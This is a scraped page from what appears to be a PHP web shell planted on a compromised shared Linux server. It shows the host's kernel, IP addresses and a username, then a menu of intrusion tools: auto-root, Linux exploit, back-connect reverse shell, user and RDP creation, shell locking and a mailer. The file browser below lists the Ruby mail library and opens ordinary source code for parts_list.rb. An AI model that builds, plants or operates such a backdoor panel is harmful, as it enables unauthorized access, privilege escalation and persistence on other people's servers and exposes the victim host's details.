Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.47
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
lib /
ruby /
vendor_ruby /
mail /
[ HOME SHELL ]
Name
Size
Permission
Action
core_extensions
[ DIR ]
drwxr-xr-x
elements
[ DIR ]
drwxr-xr-x
encodings
[ DIR ]
drwxr-xr-x
fields
[ DIR ]
drwxr-xr-x
matchers
[ DIR ]
drwxr-xr-x
multibyte
[ DIR ]
drwxr-xr-x
network
[ DIR ]
drwxr-xr-x
parsers
[ DIR ]
drwxr-xr-x
values
[ DIR ]
drwxr-xr-x
version_specific
[ DIR ]
drwxr-xr-x
attachments_list.rb
3.51
KB
-rw-r--r--
body.rb
9.52
KB
-rw-r--r--
check_delivery_params.rb
1.43
KB
-rw-r--r--
configuration.rb
1.74
KB
-rw-r--r--
constants.rb
1.75
KB
-rw-r--r--
elements.rb
960
B
-rw-r--r--
encodings.rb
10.46
KB
-rw-r--r--
envelope.rb
658
B
-rw-r--r--
field.rb
9.29
KB
-rw-r--r--
field_list.rb
867
B
-rw-r--r--
fields.rb
2.19
KB
-rw-r--r--
header.rb
9.02
KB
-rw-r--r--
indifferent_hash.rb
3.78
KB
-rw-r--r--
mail.rb
8.15
KB
-rw-r--r--
message.rb
66.58
KB
-rw-r--r--
multibyte.rb
3.68
KB
-rw-r--r--
network.rb
836
B
-rw-r--r--
parser_tools.rb
446
B
-rw-r--r--
parsers.rb
681
B
-rw-r--r--
part.rb
3.15
KB
-rw-r--r--
parts_list.rb
1.96
KB
-rw-r--r--
utilities.rb
8.37
KB
-rw-r--r--
version.rb
233
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : parts_list.rb
# frozen_string_literal: true require 'delegate' module Mail class PartsList < DelegateClass(Array) attr_reader :parts def initialize(*args) @parts = Array.new(*args) super @parts end # The #encode_with and #to_yaml methods are just implemented # for the sake of backward compatibility ; the delegator does # not correctly delegate these calls to the delegated object def encode_with(coder) # :nodoc: coder.represent_object(nil, @parts) end def to_yaml(options = {}) # :nodoc: @parts.to_yaml(options) end def attachments Mail::AttachmentsList.new(@parts) end def collect if block_given? ary = PartsList.new each { |o| ary << yield(o) } ary else to_a end end alias_method :map, :collect def map! raise NoMethodError, "#map! is not defined, please call #collect and create a new PartsList" end def collect! raise NoMethodError, "#collect! is not defined, please call #collect and create a new PartsList" end def sort self.class.new(@parts.sort) end def sort!(order) # stable sort should be used to maintain the relative order as the parts are added i = 0; sorted = @parts.sort_by do |a| # OK, 10000 is arbitrary... if anyone actually wants to explicitly sort 10000 parts of a # single email message... please show me a use case and I'll put more work into this method, # in the meantime, it works :) get_order_value(a, order) << (i += 1) end @parts.clear sorted.each { |p| @parts << p } end private def get_order_value(part, order) is_attachment = part.respond_to?(:attachment?) && part.attachment? has_content_type = part.respond_to?(:content_type) && !part[:content_type].nil? [is_attachment ? 1 : 0, (has_content_type ? order.index(part[:content_type].string.downcase) : nil) || 10000] end end end
Close